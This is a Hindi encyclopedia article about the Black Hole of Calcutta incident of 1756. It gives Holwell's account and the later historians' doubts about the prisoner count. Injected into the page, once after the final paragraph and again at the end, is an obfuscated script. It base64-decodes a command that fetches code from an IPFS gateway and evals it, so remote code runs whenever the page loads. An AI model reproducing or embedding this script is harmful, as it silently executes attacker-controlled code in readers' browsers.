कलकत्ता की काल कोठरी

भारत डिस्कवरी प्रस्तुति
गोविन्द राम (चर्चा | योगदान) द्वारा परिवर्तित 05:21, 19 फ़रवरी 2011 का अवतरण (Adding category Category:ऐतिहासिक स्थान कोश (को हटा दिया गया हैं।))
यहाँ जाएँ:भ्रमण, खोजें

20 जून 1756 को बंगाल के नवाब सिराजुद्दौला द्वारा नगर पर क़ब्ज़ा करने और ईस्ट इंडिया कंपनी की प्रतिरक्षक सेना द्वारा परिषद के एक सदस्य जॉन जेड हॉलवेल के नेतृत्व में समर्पण करने के बाद घटी घटना में नवाब ने शेष बचे यूरोपीय प्रतिरक्षकों को एक कोठरी में बंद कर दिया था, जिसमें अनेक बंदियों की मृत्यु हो गई थी, यह घटना भारत में ब्रिटिश साम्राज्यवाद के आदर्शीकरण का एक सनसनीखेज मुक़दमा और विवाद का विषय बनी। नवाब ने कलकत्ता पर इसलिए आक्रमण किया, क्योंकि कंपनी ने सात वर्षीय युद्ध 1756-1763 की आशंका में अपने प्रतिद्वंद्वों से सुरक्षा हेतु नगर की क़िलेबंदी का काम नवाब के कहने के बावजूद नहीं रोका।

आत्मसमर्पण के बाद हॉलवेल और अन्य यूरोपवासियों को तुच्छ कैदियों के लिए बने कंपनी के स्थानीय बंदीगृह में, जो काल कोठरी के नाम से प्रसिद्ध है, रात भर के लिए बंद कर दिया गया था। 5.5 मीटर लंबी व 4.5 मीटर चौड़ी इस कोठरी में दो छोटी-छोटी खिड़कियाँ थी। हॉलवेल के अनुसार, इस कोठरी में 146 लोगों को ठूंस दिया गया, जिनमें से सिर्फ 23 जीवित निकल सके। इस घटना को ब्रिटिश वीरता और नवाब की निर्दयता के उदाहरण के रूप में प्रचालित किया गया।

1915 में जे.एच. लिटल ने हॉलवेल की गवाही और वर्णन को अविश्वसनीय बताते हुए स्पष्ट किया कि इस घटना में नवाब की भूमिका सिर्फ लापरहवी बरतने भर की थी। इस प्रकार इन विवरणों ने संदेह को जन्म दिया। 1959 में अपने एक अध्ययन में बृजेन गुप्ता ने उल्लेख किया है कि यह घटना घटी अवश्य, लेकिन काल कोठरी में बंदियों की संख्या लगभग 64 थी, जिनमें से 21 जीवित बचे थे। <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>